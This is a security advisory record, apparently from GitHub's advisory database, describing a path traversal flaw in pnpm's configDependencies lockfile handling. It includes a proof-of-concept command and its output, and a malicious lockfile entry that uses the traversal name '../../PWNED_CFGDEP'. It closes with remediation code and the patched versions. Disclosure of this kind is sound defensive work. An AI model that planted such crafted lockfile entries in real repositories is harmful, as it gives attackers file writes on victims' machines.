{"id":"GHSA-qrv3-253h-g69c","title":"pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config","summary":"pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config","severity":"high","cvss":8.2,"cwe":["CWE-22"],"vendor":"pnpm","product":"pnpm","ecosystem":"npm","affected":["pnpm < 10.34.4","pnpm >= 11.0.0, < 11.8.0"],"patched":["pnpm 10.34.4","pnpm 11.8.0"],"published":"2026-06-27","updated":"2026-06-27","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-qrv3-253h-g69c","references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-qrv3-253h-g69c"},{"url":"https://github.com/advisories/GHSA-qrv3-253h-g69c"}],"tags":["ghsa","npm"],"ingestedAt":"2026-06-29T13:24:35.049Z","slug":"GHSA-qrv3-253h-g69c","body":"## Overview\n\n## Summary\n\n`pnpm` accepts package names from the env lockfile `configDependencies` section and uses those names directly when creating config dependency symlinks under `node_modules/.pnpm-config`.\n\nA malicious repository can commit a crafted `pnpm-lock.yaml` whose env-lockfile document contains a traversal-shaped config dependency name such as `../../PWNED_CFGDEP`. During `pnpm install`, pnpm installs the config dependency and creates a symlink at a path derived from that name.\n\nIn local testing against pnpm `v11.5.1`, this caused pnpm to create a symlink outside the intended config dependency directory:\n\n```text\nexpected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\nactual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis works with `--ignore-scripts`, so it does not rely on lifecycle script execution.\n\n## Vulnerable behavior\n\nThe vulnerable behavior appears to be that `configDependencies` keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.\n\nThe relevant pattern is:\n\n```ts\nconst configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')\n\nfor (const [pkgName, pkg] of Object.entries(normalizedDeps)) {\n  const configDepPath = path.join(configModulesDir, pkgName)\n\n  const pkgDirInGlobalVirtualStore = path.join(\n    globalVirtualStoreDir,\n    relPath,\n    'node_modules',\n    pkgName\n  )\n\n  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)\n}\n```\n\nIf `pkgName` is attacker-controlled and contains `..`, then `path.join(configModulesDir, pkgName)` can resolve outside `node_modules/.pnpm-config`.\n\n## Impact\n\nA malicious project can cause pnpm to create symlinks outside the intended `node_modules/.pnpm-config` directory during install.\n\nThis gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.\n\nThe issue is especially relevant because:\n\n* The malicious input is committed in `pnpm-lock.yaml`.\n* The issue is triggered during `pnpm install`.\n* It works with `--ignore-scripts`.\n* It occurs in the config dependency installation path, before ordinary dependency installation.\n* The user only needs to install a malicious or compromised repository.\n\n## Local proof of concept\n\nThe following local-only PoC creates a temporary project, starts a local fake registry on `127.0.0.1`, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside `node_modules/.pnpm-config`.\n\nCommand used:\n\n```bash\npython3 ../pnpm_configdeps_path_traversal_poc.py \\\n  --pnpm-cmd \"node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs\" \\\n  --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log\n```\n\nObserved output:\n\n```text\n[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim\n[+] Local registry:     http://127.0.0.1:36545/\n[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store\n[+] Malicious name:     '../../PWNED_CFGDEP'\n[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml\n[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/\n```\n\npnpm output:\n\n```text\nInstalling config dependencies...\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\nAlready up to date\n\nDone in 906ms using pnpm v11.5.1\n```\n\nThe PoC then detected the escaped symlink:\n\n```text\n[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n\n[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config\n            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP\n```\n\n## Malicious lockfile structure\n\nThe malicious input is an env-lockfile `configDependencies` key containing traversal components:\n\n```yaml\nimporters:\n  .:\n    configDependencies:\n      legit-config-dep:\n        specifier: '1.0.0'\n        version: '1.0.0'\n      '../../PWNED_CFGDEP':\n        specifier: '1.0.0'\n        version: '1.0.0'\n```\n\npnpm accepts the traversal-shaped name and reports it as installed:\n\n```text\nInstalled config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0\n```\n\n## Security boundary violation\n\nThe intended config dependency root was:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config\n```\n\nBut pnpm created:\n\n```text\n/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP\n```\n\nThis demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.\n\n## Suggested remediation\n\nValidate every `configDependencies` key loaded from the env lockfile before using it as a package name or path component.\n\nRecommended fixes:\n\n1. Reject env-lockfile `configDependencies` names that are not valid npm package names.\n2. Reject names containing absolute paths, `.` components, `..` components, backslashes, or platform-specific path separators.\n3. Use containment-checked path joining before creating symlinks:\n\n   * resolve the final destination path,\n   * verify it remains inside `node_modules/.pnpm-config`,\n   * reject if it escapes.\n4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.\n5. Intersect env-lockfile `configDependencies` with the effective `pnpm-workspace.yaml` `configDependencies` before installing, so extra lockfile-only entries are rejected.\n\nA safe destination check should enforce behavior equivalent to:\n\n```ts\nconst dest = path.resolve(configModulesDir, pkgName)\n\nif (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {\n  throw new Error(`Invalid config dependency name: ${pkgName}`)\n}\n```\n\nName validation should happen before this check, not instead of it.\n\n## Affected packages\n\n- `pnpm < 10.34.4`\n- `pnpm >= 11.0.0, < 11.8.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pnpm 10.34.4`\n- `pnpm 11.8.0`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":45.1,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}